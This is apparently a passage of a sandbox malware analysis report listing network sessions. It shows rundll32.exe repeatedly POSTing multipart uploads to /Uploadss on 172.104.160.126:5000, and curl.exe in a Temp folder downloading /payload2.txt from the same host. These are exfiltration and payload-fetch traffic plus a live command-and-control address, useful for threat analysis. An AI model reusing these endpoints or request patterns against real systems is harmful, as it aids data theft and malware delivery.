Jul 22, 2024 15:58:30.418589115 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:30 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49812	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:30.457218885 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------a0f76a6adccf351c
Jul 22, 2024 15:58:31.408162117 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:31 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49813	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:31.429837942 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------c4d90e433018b142
Jul 22, 2024 15:58:32.421782017 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:32 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49814	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:32.452909946 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------d2ca679a5d8f632b
Jul 22, 2024 16:03:16.170886040 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:15 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49195	172.104.160.126	8099	8092	C:\Users\user\AppData\Local\Temp\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:44.539683104 CEST	96	OUT	GET /payload2.txt HTTP/1.1 Host: 172.104.160.126:8099 User-Agent: curl/7.83.1 Accept: /
Jul 22, 2024 15:58:45.442208052 CEST	192	IN	HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:45 GMT Content-type: text/plain Content-Length: 1941690 Last-Modified: Fri, 19 Jul 2024 08:16:47 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49209	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:49.030189991 CEST	175	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 763 Content-Type: multipart/form-data; boundary=------------------------72fb5c35750f8204
Jul 22, 2024 15:58:50.140399933 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:49 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49210	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:50.228224039 CEST	178	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 160166 Content-Type: multipart/form-data; boundary=------------------------43289e4b14c04ac7
Jul 22, 2024 15:58:51.995739937 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:51 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49211	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:52.073549032 CEST	178	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 106918 Content-Type: multipart/form-data; boundary=------------------------71ca7f7e591272d4
Jul 22, 2024 15:58:53.781343937 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:53 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49212	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:56.906732082 CEST	201	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 5243310 Content-Type: multipart/form-data; boundary=------------------------727b88163de31621 Expect: 100-continue
Jul 22, 2024 15:58:57.841603041 CEST	25	IN	HTTP/1.1 100 Continue
Jul 22, 2024 15:58:58.133002043 CEST	25	IN	HTTP/1.1 100 Continue
Jul 22, 2024 15:59:08.320777893 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:08 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49214	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:08.372284889 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------528cb38273400043
Jul 22, 2024 15:59:09.587399006 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:09 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49215	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:09.633794069 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------6ceab3228cef8607
Jul 22, 2024 15:59:10.559612036 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:10 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49216	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:10.584906101 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------a158dee7d748d662
Jul 22, 2024 15:59:11.614016056 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:11 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49218	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:11.675931931 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------5e2d7668485dfa80
Jul 22, 2024 15:59:12.636787891 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:12 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49219	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:12.660794020 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------0f7ba0280905d0a7
Jul 22, 2024 15:59:13.655487061 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:13 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49220	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:13.680289984 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------b615441db0569974
Jul 22, 2024 15:59:14.698188066 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:14 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49221	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:14.720798016 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------c38b6efbb3860b55
Jul 22, 2024 15:59:15.692922115 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:15 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49222	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:15.718911886 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------e120409de9b0961d
Jul 22, 2024 15:59:16.686419010 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:16 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49223	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:16.717490911 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------df56891ade3f02b5
Jul 22, 2024 15:59:17.702600956 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:17 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49224	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:17.728193998 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------5b9a6ba60e763601
Jul 22, 2024 15:59:18.687912941 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:18 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49225	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:18.711544037 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------6125ed5460a004ed
Jul 22, 2024 15:59:20.105045080 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:19 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49226	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:20.153347969 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------0cd032303c66daa3
Jul 22, 2024 15:59:21.120584965 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:20 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49227	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:21.150154114 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------4103ce5fab37505e
Jul 22, 2024 15:59:22.139071941 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:21 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49228	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:22.200515985 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------e9d6222010bc4b93
Jul 22, 2024 15:59:23.179164886 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:22 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49229	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:23.195195913 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------2aa72388551e1719
Jul 22, 2024 15:59:24.193551064 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:23 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49230	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:24.224888086 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------77f946c49d2aa0aa
Jul 22, 2024 15:59:25.175795078 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:24 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49231	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:25.200371981 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------23ddd58ceee731b1
Jul 22, 2024 15:59:27.644654989 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:27 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49232	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:27.670627117 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------b152df86b4cdc780
Jul 22, 2024 15:59:30.136130095 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:29 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49234	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:30.193425894 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------2d6437b9e8f9fa26
Jul 22, 2024 15:59:31.197036028 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:30 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49235	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:31.212780952 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------f9fda7251b3940ec
Jul 22, 2024 15:59:32.395958900 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:32 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49236	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:32.420713902 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------b875c75c93bfafb2
Jul 22, 2024 15:59:33.371445894 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:33 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49237	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:33.395796061 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------90b1444f43bf87bb
Jul 22, 2024 15:59:34.795245886 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:34 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49238	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:34.823381901 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------f596c2ad5c87a402
Jul 22, 2024 15:59:35.794148922 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:35 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49239	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:35.818789959 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------eebee10a2c2a0a7e
Jul 22, 2024 15:59:37.000550032 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:36 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49240	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:37.014770031 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------fb127d9661ca100d
Jul 22, 2024 15:59:37.946372032 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:37 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49241	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:37.973495960 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------6653a23fed80a45e
Jul 22, 2024 15:59:38.933866978 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:38 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49242	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:38.961004972 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------37776beab8920800
Jul 22, 2024 15:59:40.042105913 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:39 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49243	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:40.064085007 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------40df58b3406d3c6c
Jul 22, 2024 15:59:41.061228991 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:40 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49244	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:41.134223938 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------7048acb243c73c53
Jul 22, 2024 15:59:42.093332052 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:41 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49245	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:42.109009981 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------915bf5cdc8e28206
Jul 22, 2024 15:59:43.078140020 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:42 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49246	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:43.105374098 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------b29bc1940f1b3cf8
Jul 22, 2024 15:59:44.096829891 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:43 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49247	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:44.124931097 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------faed09c6aeddfcad
Jul 22, 2024 15:59:47.575844049 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:47 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49248	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:47.604772091 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------9e028a09e8444741
Jul 22, 2024 15:59:48.736963034 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:48 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49249	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:48.753058910 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------1ebd341a5c4734af
Jul 22, 2024 15:59:49.711147070 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:49 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49250	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:49.750644922 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------0a25b701dad0bb75
Jul 22, 2024 15:59:50.724616051 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:50 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49251	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:50.756093025 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------917bcfd4af7652d9
Jul 22, 2024 15:59:51.673804045 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:51 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49252	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
